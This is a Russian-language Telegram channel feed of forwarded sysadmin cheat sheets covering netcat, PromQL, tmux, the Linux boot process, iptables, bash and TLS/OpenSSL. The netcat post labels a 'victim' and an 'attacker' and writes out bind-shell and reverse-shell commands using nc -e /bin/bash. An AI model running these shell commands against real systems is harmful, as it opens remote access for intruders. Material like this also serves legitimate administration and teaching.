Forwarded from Книги для Системного Администратора
🎯 Netcat (nc) — универсальный сетевой инструмент
Может устанавливать TCP/UDP-соединения, сканировать порты, прослушивать соединения и передавать данные между хостами.
🔧 Синтаксис:
📘 Основные опции:
🔍 Сканирование портов и баннерграббинг:
🖥 Удалённая оболочка (Remote Shell):
На сервере (жертва):
На клиенте (атакующий):
🔁 Обратная оболочка (Reverse Shell):
На атакующем хосте:
На жертве:
📥 Передача файлов:
Скачивание:
Загрузка:
💬 Чат:
🎥 Видеопоток:
📦 Сжатие и передача директорий:
Отправитель:
Получатель:
🔐 Шифрование и передача:
Отправка:
Приём:
💽 Клонирование Linux-диска:
Отправитель:
Получатель:
👉 @i_odmin_book
Может устанавливать TCP/UDP-соединения, сканировать порты, прослушивать соединения и передавать данные между хостами.
🔧 Синтаксис:
nc [опции] [хост] [порт]📘 Основные опции:
-4 Использовать только IPv4
-6 Использовать только IPv6
-l Прослушивать соединения (сервер)
-v Подробный вывод
-n Не выполнять DNS-резолвинг
-s Указать исходный IP
-w Таймаут соединения
-u Использовать UDP вместо TCP
-k Не закрывать соединение после получения
-z Режим сканера портов🔍 Сканирование портов и баннерграббинг:
nc -zvn 192.168.59.1 20-100 # Скан портов от 20 до 100
nc -zvn 192.168.59.1 80 22 443 # Скан определённых портов
nc -zvn sysxplore.com 80 # Скан сайта
nc sysxplore.com 80 # Получение баннера🖥 Удалённая оболочка (Remote Shell):
На сервере (жертва):
nc -nlvp 8888 -e /bin/bashНа клиенте (атакующий):
nc 192.168.59.3 8888🔁 Обратная оболочка (Reverse Shell):
На атакующем хосте:
nc -nlvp 8888На жертве:
nc 192.168.59.3 8888 -e /bin/bash📥 Передача файлов:
Скачивание:
nc -nlvp 8888 > файл.txt # Получатель
nc хост 8888 < файл.txt # ОтправительЗагрузка:
nc -nlvp 8888 < файл.txt # Отправитель
nc хост 8888 > файл.txt # Получатель💬 Чат:
nc -nlvp 8888 # Один клиент
nc хост 8888 # Второй клиент🎥 Видеопоток:
cat видео.avi | nc -nlvp 8888 # Сервер
nc хост 8888 | mplayer -vo x11 - # Клиент📦 Сжатие и передача директорий:
Отправитель:
tar cfp - ./папка | nc хост 8888Получатель:
nc -l -p 8888 | uncompress | tar xvfp -🔐 Шифрование и передача:
Отправка:
nc -l -p 8888 | openssl enc -d -des3 -pass pass:пароль > файлПриём:
openssl enc -des3 -pass pass:пароль -in файл | nc хост 8888💽 Клонирование Linux-диска:
Отправитель:
dd if=/dev/sdX | nc -l -p 8888Получатель:
nc хост 8888 | dd of=/dev/sdX👉 @i_odmin_book
Forwarded from Этичный Хакер
Pure Bash Bible — охватывает обработку строк, массивов, файлов и многое другое
— Все преобразования производятся на чистом bash, без каких-либо зависимостей
Это идеальный справочник, если вы хотите ускорить свои скрипты и избавиться от ненужных зависимостей
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Книги для Системного Администратора
🔥 ТОП-20 полезных PromQL-запросов для системного администратора
📊 PromQL - язык запросов Prometheus для анализа метрик.
Часто нужные запросы для мониторинга CPU, RAM, дисков, сети и сервисов.
⚡ CPU
1. Загрузка CPU по ядрам
2. Средняя загрузка CPU на инстанс
3. CPU > 80% (для алерта)
🧠 Память
4. Использование RAM (%)
5. Swap usage (%)
💾 Диски
6. Свободное место на диске (%)
7. IOPS (операции в секунду)
8. Загрузка диска (busy time)
🌐 Сеть
9. Входящий трафик (байт/с)
10. Исходящий трафик (байт/с)
11. Ошибки сети
🌍 HTTP и сервисы
12. HTTP-запросы в секунду
13. Ошибки 5xx (%)
14. Время ответа (p95)
🛠️ Системные метрики
15. Load Average (1 мин)
16. Открытые TCP-сессии
17. Количество процессов
🔔 Метрики для алертов
18. Down (инстанс не отвечает)
19. Время работы (uptime)
20. Переполненные файловые дескрипторы
📌 Эти запросы можно сразу использовать в Grafana или в алертах Prometheus.
👉 @i_odmin_book
📊 PromQL - язык запросов Prometheus для анализа метрик.
Часто нужные запросы для мониторинга CPU, RAM, дисков, сети и сервисов.
⚡ CPU
1. Загрузка CPU по ядрам
rate(node_cpu_seconds_total{mode!="idle"}[5m])
2. Средняя загрузка CPU на инстанс
avg by(instance)(rate(node_cpu_seconds_total{mode!="idle"}[5m]))
3. CPU > 80% (для алерта)
100 - (avg by(instance)(rate(node_cpu_seconds_total{mode="idle"}[5m])) * 100) > 80
🧠 Память
4. Использование RAM (%)
(1 - (node_memory_MemAvailable_bytes / node_memory_MemTotal_bytes)) * 100
5. Swap usage (%)
(node_memory_SwapTotal_bytes - node_memory_SwapFree_bytes) / node_memory_SwapTotal_bytes * 100
💾 Диски
6. Свободное место на диске (%)
(node_filesystem_avail_bytes{fstype!="tmpfs"}
/ node_filesystem_size_bytes{fstype!="tmpfs"}) * 100
7. IOPS (операции в секунду)
rate(node_disk_reads_completed_total[5m])
+ rate(node_disk_writes_completed_total[5m])
8. Загрузка диска (busy time)
rate(node_disk_io_time_seconds_total[5m])
🌐 Сеть
9. Входящий трафик (байт/с)
rate(node_network_receive_bytes_total[5m])
10. Исходящий трафик (байт/с)
rate(node_network_transmit_bytes_total[5m])
11. Ошибки сети
rate(node_network_receive_errs_total[5m])
+ rate(node_network_transmit_errs_total[5m])
🌍 HTTP и сервисы
12. HTTP-запросы в секунду
rate(http_requests_total[5m])
13. Ошибки 5xx (%)
rate(http_requests_total{status=~"5.."}[5m])
/ rate(http_requests_total[5m]) * 100
14. Время ответа (p95)
histogram_quantile(0.95, rate(http_request_duration_seconds_bucket[5m]))
🛠️ Системные метрики
15. Load Average (1 мин)
node_load1
16. Открытые TCP-сессии
node_netstat_Tcp_CurrEstab
17. Количество процессов
node_processes_state
🔔 Метрики для алертов
18. Down (инстанс не отвечает)
up == 0
19. Время работы (uptime)
node_time_seconds - node_boot_time_seconds
20. Переполненные файловые дескрипторы
node_filefd_allocated / node_filefd_maximum * 100 > 80
📌 Эти запросы можно сразу использовать в Grafana или в алертах Prometheus.
👉 @i_odmin_book
Forwarded from Книги для Системного Администратора
Шпаргалка по работе с Tmux (терминальный мультиплексор)
1. Установка
CentOS (нужен подключенный репо EPEL)
Fedora
Ubuntu/Debian
2. Конфигурационные файлы
(пользователя, системный):
До версии 2.1
3. Работа с Tmux
Старт
Префикс (с него начинаются команды)
Новое окно (нажать CTRL+b, затем нажать с)
Список окон
Переключение
Окна можно делить на панели (Panes)
Как в тайловых (мозаичных) оконных менеджерах.
Деление окна горизонтально
либо команда
Деление окна вертикально
либо команда
Переход между панелей
Изменение размеров панелей
Закрытие окон
либо
Отключение от сессии
либо
Список сессий
Подключиться к работающей сессии
Выбрать сессию
Завершение сессии
Завершить все сессии
Список поддерживаемых комманд
Дополнительная информация
Мы в Max
👉 @i_odmin_book
1. Установка
CentOS (нужен подключенный репо EPEL)
# yum install tmux Fedora
# dnf install tmuxUbuntu/Debian
# apt-get install tmux2. Конфигурационные файлы
(пользователя, системный):
~/.tmux.conf
/etc/tmux.confДо версии 2.1
set -g mouse-resize-pane on
set -g mouse-select-pane on
set -g mouse-select-window on
set -g mode-mouse on3. Работа с Tmux
Старт
# tmux //без параметров будет создана сессия 0# tmux new -s session1 //новая сессия session1. Название отображается снизу-слева в квадратных скобках в статус строке. Далее идет перечисление окон. Текущее окно помечается звездочкой.Префикс (с него начинаются команды)
<C-b> (CTRL + b)Новое окно (нажать CTRL+b, затем нажать с)
<C-b c>Список окон
<C-b w> // переключиться курсором вверх-внизПереключение
<C-b n> // следующее окно<C-b p> // предыдущее окно<C-b 0> // переключиться на номер окнаОкна можно делить на панели (Panes)
Как в тайловых (мозаичных) оконных менеджерах.
Деление окна горизонтально
<C-b ">либо команда
# tmux split-window -hДеление окна вертикально
<C-b %>либо команда
# tmux split-window -vПереход между панелей
<C-b стрелки курсора> // либо режим мышиИзменение размеров панелей
<C-b c-стрелки> // либо режим мышиЗакрытие окон
<C-b x> // нужно подтвердить yлибо
# exitОтключение от сессии
<C-b d>либо
# tmux detachСписок сессий
# tmux lsПодключиться к работающей сессии
# tmux attach //подключение к сессии, либо к единственной, либо последней созданной# tmux attach -t session1 // подключение к сессии session1Выбрать сессию
<C-b s>Завершение сессии
# tmux kill-session -t session1Завершить все сессии
# tmux kill-serverСписок поддерживаемых комманд
# tmux list-commandsДополнительная информация
# man tmuxМы в Max
👉 @i_odmin_book
Forwarded from Системный администратор
Процесс загрузки Linux
Диаграмма ниже показывает этапы:
Шаг 1 - Когда мы включаем питание, загружается прошивка BIOS (Basic Input/Output System) или UEFI (Unified Extensible Firmware Interface) из энергонезависимой памяти и выполняет POST (Power On Self Test).
Шаг 2 - BIOS/UEFI обнаруживает устройства, подключенные к системе, включая процессор, оперативную память и устройства хранения данных.
Шаг 3 - Выбирается устройство для загрузки операционной системы. Это может быть жесткий диск, сетевой сервер или CD-ROM.
Шаг 4 - BIOS/UEFI запускает загрузчик (GRUB), который предоставляет меню для выбора операционной системы или функций ядра.
Шаг 5 - После подготовки ядра происходит переход в пользовательское пространство. Ядро запускает systemd как первый процесс в пользовательском пространстве, который управляет процессами и службами, проверяет оставшееся оборудование, монтирует файловые системы и запускает рабочую среду.
Шаг 6 - systemd по умолчанию активирует target unit при загрузке системы. Также выполняются другие анализирующие модули.
Шаг 7 - Система выполняет набор скриптов для настройки среды.
Шаг 8 - Пользователям отображается окно входа в систему. Система готова к работе.
Мы в MAX
👉 @i_odmin
Диаграмма ниже показывает этапы:
Шаг 1 - Когда мы включаем питание, загружается прошивка BIOS (Basic Input/Output System) или UEFI (Unified Extensible Firmware Interface) из энергонезависимой памяти и выполняет POST (Power On Self Test).
Шаг 2 - BIOS/UEFI обнаруживает устройства, подключенные к системе, включая процессор, оперативную память и устройства хранения данных.
Шаг 3 - Выбирается устройство для загрузки операционной системы. Это может быть жесткий диск, сетевой сервер или CD-ROM.
Шаг 4 - BIOS/UEFI запускает загрузчик (GRUB), который предоставляет меню для выбора операционной системы или функций ядра.
Шаг 5 - После подготовки ядра происходит переход в пользовательское пространство. Ядро запускает systemd как первый процесс в пользовательском пространстве, который управляет процессами и службами, проверяет оставшееся оборудование, монтирует файловые системы и запускает рабочую среду.
Шаг 6 - systemd по умолчанию активирует target unit при загрузке системы. Также выполняются другие анализирующие модули.
Шаг 7 - Система выполняет набор скриптов для настройки среды.
Шаг 8 - Пользователям отображается окно входа в систему. Система готова к работе.
Мы в MAX
👉 @i_odmin
Forwarded from Системный администратор
Полезные команды Linux. Фаервол IPTABLES, штатный, для большинства дистрибутивов Linux
Вывести список всец цепочек правил
Вывести все цепочки из NAT таблицы
Очистить все цепочки правил в таблице NAT
Очистить все пользовательские цепочки правил в таблице filter
Очистить все цепочки правил в таблице filter
Разрешить входящие соединения с telnet
Запретить исходящие HTTP соединения
включить NAT (Network Address Translate) исходящих пакетов на интерфейс eth0. Допустимо при использовании с динамически выделяемыми ip-адресами.
Пересылка пакетов, адресованных одному хосту, на другой хост
Включить логгирование пакетов, проходящих через цепочку INPUT, и добавлением к сообщению префикса "DROP INPUT"
Разрешить форвардинг POP3 соединений
📲 Мы в MAX
👉 @i_odmin
# iptables -t filter -LВывести список всец цепочек правил
# iptables -t nat -LВывести все цепочки из NAT таблицы
# iptables -t nat -FОчистить все цепочки правил в таблице NAT
# iptables -t filter -XОчистить все пользовательские цепочки правил в таблице filter
# iptables -t filter -FОчистить все цепочки правил в таблице filter
# iptables -t filter -A INPUT -p tcp --dport telnet -j ACCEPTРазрешить входящие соединения с telnet
# iptables -t filter -A OUTPUT -p tcp --dport http -j DROPЗапретить исходящие HTTP соединения
# iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADEвключить NAT (Network Address Translate) исходящих пакетов на интерфейс eth0. Допустимо при использовании с динамически выделяемыми ip-адресами.
# iptables -t nat -A PREROUTING -d 192.168.0.1 -p tcp -m tcp --dport 22 -j DNAT --to-destination 10.0.0.2:22Пересылка пакетов, адресованных одному хосту, на другой хост
# iptables -t filter -A INPUT -j LOG --log-prefixВключить логгирование пакетов, проходящих через цепочку INPUT, и добавлением к сообщению префикса "DROP INPUT"
# iptables -t filter -A FORWARD -p tcp --dport pop3 -j ACCEPTРазрешить форвардинг POP3 соединений
👉 @i_odmin
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Книги для Системного Администратора
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Системный администратор
Трюки терминала Bash
Полезные комбинации клавиш (хоткеи) и небольшие хитрости, которые сделают Вашу работу в Linux более эффективной.
Горячие клавиши" Bash с Ctrl
Изменить заглавные на строчные и наоборот
Запустить предыдущую команду ещё раз
Запустить команду из истории по номеру (например, 53)
Запускает последнюю команду и меняет какой-то параметр. Например, меняем
Важно: предыдущая команда заменит только первое вхождение "aaa". Если вы хотите заменить все вхождения, используйте
Запустить последнюю команду, которая начинается с...
Например, до этого в истории команд была команда cat filename:
— запускает
Указание файлов по шаблону в Bash
Полезные переменные окружения Bash
Короткие переменные:
Более длинные, но тоже полезные переменные:
📲 Мы в MAX
👉 @i_odmin
Полезные комбинации клавиш (хоткеи) и небольшие хитрости, которые сделают Вашу работу в Linux более эффективной.
Горячие клавиши" Bash с Ctrl
Ctrl + n — то же самое, что и стрелка вниз.Ctrl + p — то же самое, что и стрелка вверх.Ctrl + r — поиск по предыдущим командам из истории команд (history). Продолжайте нажимать Ctrl + r, чтобы искать дальше. Ctrl + Shift + r — поиск в другую сторону.Ctrl + s — остановить вывод в терминал.Ctrl + q — восстановить вывод в терминал после Ctrl + s.Ctrl + a — перейти к началу строки (аналог клавиши Home).Ctrl + e — перейти к концу строки (аналог клавиши End).Ctrl + d — если вы ввели что-то, то Ctrl + d удаляет символ под курсором. В противном случае означает конец ввода и завершает текущую сессию Bash.Ctrl + k — удалить весь текст от курсора до конца строки.Ctrl + x + backspace — удалить весь текст от начала строки до курсора.Ctrl + t — переставить символ до курсора на символ под курсором. Нажмите Esc + t для перестановки двух слов до курсора.Ctrl + w — удалить слово до курсора; затем Ctrl + y, чтобы вставить его.Ctrl + u — удалить строку перед курсором; Ctrl + y для вставки его.Ctrl + _ — отменить ввод.Ctrl + l — очищает окно терминала. То же самое, что и clear.Ctrl + x + Ctrl + e — запускает редактор, определённый в переменной $EDITOR, для ввода команды. Полезно для многострочных команд.Изменить заглавные на строчные и наоборот
Esc + u — преобразовать буквы от курсора до конца строки в заглавные буквы.Esc + l — преобразовать буквы от курсора до конца строки в нижний регистр.Esc + c — заменить букву под курсором на заглавную.Запустить предыдущую команду ещё раз
Запустить команду из истории по номеру (например, 53)
!53!! — запуск последней команды.sudo !! — запустить предыдущую команду с sudo.Запускает последнюю команду и меняет какой-то параметр. Например, меняем
"aaa" на "bbb":
# Последняя команда: echo 'aaa'
$ ^aaa^bbb
$ echo 'bbb'
bbbВажно: предыдущая команда заменит только первое вхождение "aaa". Если вы хотите заменить все вхождения, используйте
:&:^aaa^bbb^:&
# или
!!:gs/aaa/bbb/Запустить последнюю команду, которая начинается с...
Например, до этого в истории команд была команда cat filename:
!cat
# или
!c— запускает
cat filename ещё раз.Указание файлов по шаблону в Bash
/etc/pa*wd → /etc/passwd — символ * означает "несколько любых символов"./b?n/?at → /bin/cat — символ ? означает "один любой символ".ls -l [a-z]* — вывести список файлов, содержащих только буквы латинского алфавита. В квадратных скобках [] перечисляются символы, которые будут искаться. А символ * после [] означает "хоть сколько раз".ls {*.sh,*.py} — вывести все .sh и .py файлы. {} используется для группировки нескольких шаблонов по принципу "или".Полезные переменные окружения Bash
Короткие переменные:
$0 — оболочка командной строки или путь до запускаемого файла.$1, $2, $3, ... — аргументы запуска скрипта.$# — число аргументов, переданных в скрипт из терминала.$? — код завершения последней команды.$- — текущие опции, установленные для оболочки.$$ — идентификатор текущего процесса.$! — идентификатор процесса, завершённого последним.Более длинные, но тоже полезные переменные:
$DESKTOP_SESSION — текущий менеджер дисплеев.$EDITOR — редактор текста по умолчанию.$LANG — используемый системой язык.$PATH — список директорий, в которых будут искаться исполняемые файлы.$PWD — текущая директория.$SHELL — текущая оболочка командной строки.$USER — имя текущего пользователя.$HOSTNAME — имя текущего хоста (компьютера).📲 Мы в MAX
👉 @i_odmin
Forwarded from Книги для Системного Администратора
Шпаргалка по Bash
Файлы и каталоги:
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
Просмотр содержимого файлов:
-
-
-
-
-
-
Поиск файлов и текста:
-
-
-
-
-
-
Права доступа:
-
-
-
-
Управление процессами:
-
-
-
-
-
-
-
-
-
Перенаправление потоков:
-
- Пример:
-
-
- Пример:
-
- Пример:
-
- Пример:
Переменные и параметры:
-
-
-
-
-
-
-
Циклы и условия:
Условия:
Циклы:
- for:
Пример:
- while:
Пример:
Функции:
Пример:
📲 Мы в Max
👉 @i_odmin_book
Файлы и каталоги:
-
ls — показать содержимое каталога.-
ls -l — подробный список с правами, владельцами, датами.-
ls -a — показать все файлы, включая скрытые.-
cd <каталог> — сменить каталог.-
cd .. — перейти на уровень выше.-
cd ~ — перейти в домашний каталог.-
pwd — показать текущий путь.-
mkdir <имя> — создать новый каталог.-
rmdir <имя> — удалить пустой каталог.-
touch <файл> — создать пустой файл или обновить метку времени.-
cp <файл_источник> <файл_назначение> — копировать файл.-
cp -r <каталог> — рекурсивно копировать каталог.-
mv <источник> <назначение> — переместить или переименовать файл/каталог.-
rm <файл> — удалить файл.-
rm -r <каталог> — рекурсивно удалить каталог.-
rm -f <файл> — принудительное удаление.Просмотр содержимого файлов:
-
cat <файл> — вывести содержимое файла.-
less <файл> — постраничный просмотр файла.-
head <файл> — показать первые строки файла.-
head -n <число> — задать количество строк.-
tail <файл> — показать последние строки файла.-
tail -f <файл> — следить за изменениями в файле (например, для логов).Поиск файлов и текста:
-
find <путь> -name <имя> — найти файлы по имени.-
find . -name "*.txt" — найти все файлы с расширением .txt в текущем каталоге.-
grep <текст> <файл> — поиск текста в файле.-
grep -r <текст> <каталог> — рекурсивный поиск по каталогам.-
grep -i — игнорировать регистр.-
grep -v — инвертировать результат поиска (вывести строки, не содержащие текст).Права доступа:
-
chmod <права> <файл> — изменить права доступа.-
chmod 755 <файл> — права для владельца на чтение/запись/исполнение, для группы и остальных — чтение и исполнение.-
chmod +x <файл> — сделать файл исполняемым.-
chown <пользователь>:<группа> <файл> — сменить владельца и группу файла.Управление процессами:
-
ps — показать процессы.-
ps aux — полный список процессов.-
top — интерактивный мониторинг процессов.-
kill <PID> — завершить процесс по его PID.-
kill -9 <PID> — принудительное завершение.-
& — запуск процесса в фоновом режиме (например, `sleep 10 &`).-
jobs — список фоновых процессов.-
fg — вернуть фоновый процесс на передний план.-
bg — продолжить выполнение процесса в фоновом режиме.Перенаправление потоков:
-
> — перенаправить вывод в файл, перезаписать содержимое.- Пример:
echo "Текст" > файл.txt.-
>> — перенаправить вывод в файл, добавив данные в конец файла.-
< — перенаправить ввод из файла.- Пример:
sort < файл.txt.-
| — перенаправить вывод одной команды на ввод другой.- Пример:
cat файл.txt | grep "строка".-
2> — перенаправить стандартный поток ошибок.- Пример:
команда 2> ошибка.log.Переменные и параметры:
-
VARIABLE=value — создать переменную.-
echo $VARIABLE — вывести значение переменной.-
export VARIABLE — сделать переменную доступной для дочерних процессов.-
$0, $1, $2 и т.д. — доступ к аргументам скрипта.-
$0 — имя скрипта.-
$# — количество аргументов.-
$@ — все аргументы.Циклы и условия:
Условия:
if [ условие ]; then
команда
elif [ условие ]; then
команда
else
команда
fi
Циклы:
- for:
for var in список; do
команда
done
Пример:
for i in 1 2 3; do
echo $i
done
- while:
while [ условие ]; do
команда
done
Пример:
while [ $COUNT -lt 5 ]; do
echo $COUNT
COUNT=$((COUNT+1))
done
Функции:
function имя_функции {
команды
}
Пример:
function приветствие {
echo "Привет, $1!"
}
приветствие "Мир"
📲 Мы в Max
👉 @i_odmin_book
Forwarded from Технотренды
Самую ПОДРОБНУЮ шпаргалку по по Linux и командам терминала нашли в сети — авторы собрали все, что нужно: от базы до профессиональных тем вроде LVM, RAID и трассировки. Там есть:
— Теория простым языком: устройство файлов, процессы, права, память, загрузка и сеть. Команды терминала, SSH, systemd, grep, sed, awk. Всё с примерами.
— Продвинутый уровень: продвинутый bash, LVM, RAID, трассировка, производительность, ядро, безопасность, контейнеры, восстановление системы.
— Добавили даже вопросы с собеседований, чтобы показать там новые знания и устроиться на работу мечты.
Все это БЕСПЛАТНО и на русском языке — здесь.
📲 Технотренды
— Теория простым языком: устройство файлов, процессы, права, память, загрузка и сеть. Команды терминала, SSH, systemd, grep, sed, awk. Всё с примерами.
— Продвинутый уровень: продвинутый bash, LVM, RAID, трассировка, производительность, ядро, безопасность, контейнеры, восстановление системы.
— Добавили даже вопросы с собеседований, чтобы показать там новые знания и устроиться на работу мечты.
Все это БЕСПЛАТНО и на русском языке — здесь.
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Системный администратор
🔐 TLS (Transport Layer Security): Шпаргалка админа
🚦 Версии протоколов: Что оставить?
❌ SSL v2, SSL v3: Мертвы. Дырявые. Отключать везде.
⚠️ TLS 1.0, 1.1: Устарели (Deprecation в 2020/2021). Отключать, если не поддерживаете клиентов времен IE 8/Android 4.
✅ TLS 1.2: Золотой стандарт. Должен быть включен везде. (Обязательно используйте шифры AEAD/GCM).
🚀 TLS 1.3: Самый быстрый и безопасный. Убрали лишние шаги в рукопожатии (1-RTT). Включаем в приоритет.
📂 Форматы файлов
Часто файлы имеют разные расширения, но внутри одно и то же.
- PEM (
- DER (
- PFX/P12 (
🛠 OpenSSL: Команды на каждый день
Самая полезная часть. Копируй и вставляй.
1. Проверка удаленного сервера
Посмотреть, какой сертификат отдает сайт, и проверить цепочку:
Лайфхак: Добавь
Посмотреть только дату истечения сертификата на сайте:
2. Работа с локальными файлами
Прочитать содержимое сертификата (кто выдал, кому, когда истекает):
Проверить, соответствует ли приватный ключ сертификату (хеши должны совпасть):
3. Генерация CSR (Запрос на сертификат)
Создать ключ и запрос (CSR) одной командой:
4. Конвертация форматов
PEM -> PFX (для IIS/Windows):
PFX -> PEM (достать ключ и серт):
🧠 Анатомия Cipher Suite
Что значит строка:
1. TLS: Протокол.
2. ECDHE: Key Exchange (Как договорились о ключах). Эллиптические кривые, Ephemeral (генерируется каждый раз — это PFS).
3. RSA: Authentication (Проверка подлинности). Сертификат RSA.
4. AES_256_GCM: Bulk Encryption (Чем шифруем данные). Алгоритм AES, 256 бит, режим GCM (быстро и безопасно).
5. SHA384: MAC/PRF (Целостность). Хеширование для проверки пакетов.
🛡 Чек-лист
1. HSTS (HTTP Strict Transport Security): Заголовок, заставляющий браузер ходить только по HTTPS.
-
2. Forward Secrecy (PFS): Если украдут ключ сервера, прошлый трафик не расшифруют. Требует шифров ECDHE или DHE.
3. OCSP Stapling: Сервер сам шлет статус валидности сертификата, ускоряя загрузку страницы для клиента.
4. CAA Record: DNS-запись, указывающая, каким CA разрешено выдавать сертификаты для вашего домена.
📲 Мы в MAX
👉 @i_odmin
🚦 Версии протоколов: Что оставить?
❌ SSL v2, SSL v3: Мертвы. Дырявые. Отключать везде.
⚠️ TLS 1.0, 1.1: Устарели (Deprecation в 2020/2021). Отключать, если не поддерживаете клиентов времен IE 8/Android 4.
✅ TLS 1.2: Золотой стандарт. Должен быть включен везде. (Обязательно используйте шифры AEAD/GCM).
🚀 TLS 1.3: Самый быстрый и безопасный. Убрали лишние шаги в рукопожатии (1-RTT). Включаем в приоритет.
📂 Форматы файлов
Часто файлы имеют разные расширения, но внутри одно и то же.
- PEM (
.pem, .crt, .cer, .key): Текстовый формат (ASCII), начинается с -----BEGIN.... Самый частый в Linux/Nginx/Apache.- DER (
.der, .cer): Бинарный формат. Часто встречается в Java и Windows.- PFX/P12 (
.pfx, .p12): Контейнер-сейф. Хранит и сертификат, и приватный ключ, и цепочку. Часто используется в Windows и для импорта/экспорта.🛠 OpenSSL: Команды на каждый день
Самая полезная часть. Копируй и вставляй.
1. Проверка удаленного сервера
Посмотреть, какой сертификат отдает сайт, и проверить цепочку:
openssl s_client -connect domain.com:443 -showcerts
Лайфхак: Добавь
-servername domain.com, если на IP висит несколько сайтов (SNI).Посмотреть только дату истечения сертификата на сайте:
echo | openssl s_client -servername domain.com -connect domain.com:443 2>/dev/null | openssl x509 -noout -dates
2. Работа с локальными файлами
Прочитать содержимое сертификата (кто выдал, кому, когда истекает):
openssl x509 -in cert.pem -text -noout
Проверить, соответствует ли приватный ключ сертификату (хеши должны совпасть):
openssl x509 -noout -modulus -in cert.pem | openssl md5
openssl rsa -noout -modulus -in privkey.pem | openssl md5
3. Генерация CSR (Запрос на сертификат)
Создать ключ и запрос (CSR) одной командой:
openssl req -new -newkey rsa:2048 -nodes -keyout domain.key -out domain.csr
4. Конвертация форматов
PEM -> PFX (для IIS/Windows):
openssl pkcs12 -export -out domain.pfx -inkey domain.key -in domain.crt -certfile root-ca.crt
PFX -> PEM (достать ключ и серт):
# Только ключ (без пароля)
openssl pkcs12 -in domain.pfx -nocerts -nodes -out domain.key
# Только сертификат
openssl pkcs12 -in domain.pfx -nokeys -out domain.crt
🧠 Анатомия Cipher Suite
Что значит строка:
TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384?1. TLS: Протокол.
2. ECDHE: Key Exchange (Как договорились о ключах). Эллиптические кривые, Ephemeral (генерируется каждый раз — это PFS).
3. RSA: Authentication (Проверка подлинности). Сертификат RSA.
4. AES_256_GCM: Bulk Encryption (Чем шифруем данные). Алгоритм AES, 256 бит, режим GCM (быстро и безопасно).
5. SHA384: MAC/PRF (Целостность). Хеширование для проверки пакетов.
Совет: Старайтесь использовать GCM или ChaCha20-Poly1305. Избегайте режимов CBC в старых протоколах.
🛡 Чек-лист
1. HSTS (HTTP Strict Transport Security): Заголовок, заставляющий браузер ходить только по HTTPS.
-
Strict-Transport-Security: max-age=31536000; includeSubDomains2. Forward Secrecy (PFS): Если украдут ключ сервера, прошлый трафик не расшифруют. Требует шифров ECDHE или DHE.
3. OCSP Stapling: Сервер сам шлет статус валидности сертификата, ускоряя загрузку страницы для клиента.
4. CAA Record: DNS-запись, указывающая, каким CA разрешено выдавать сертификаты для вашего домена.
👉 @i_odmin
Please open Telegram to view this post
VIEW IN TELEGRAM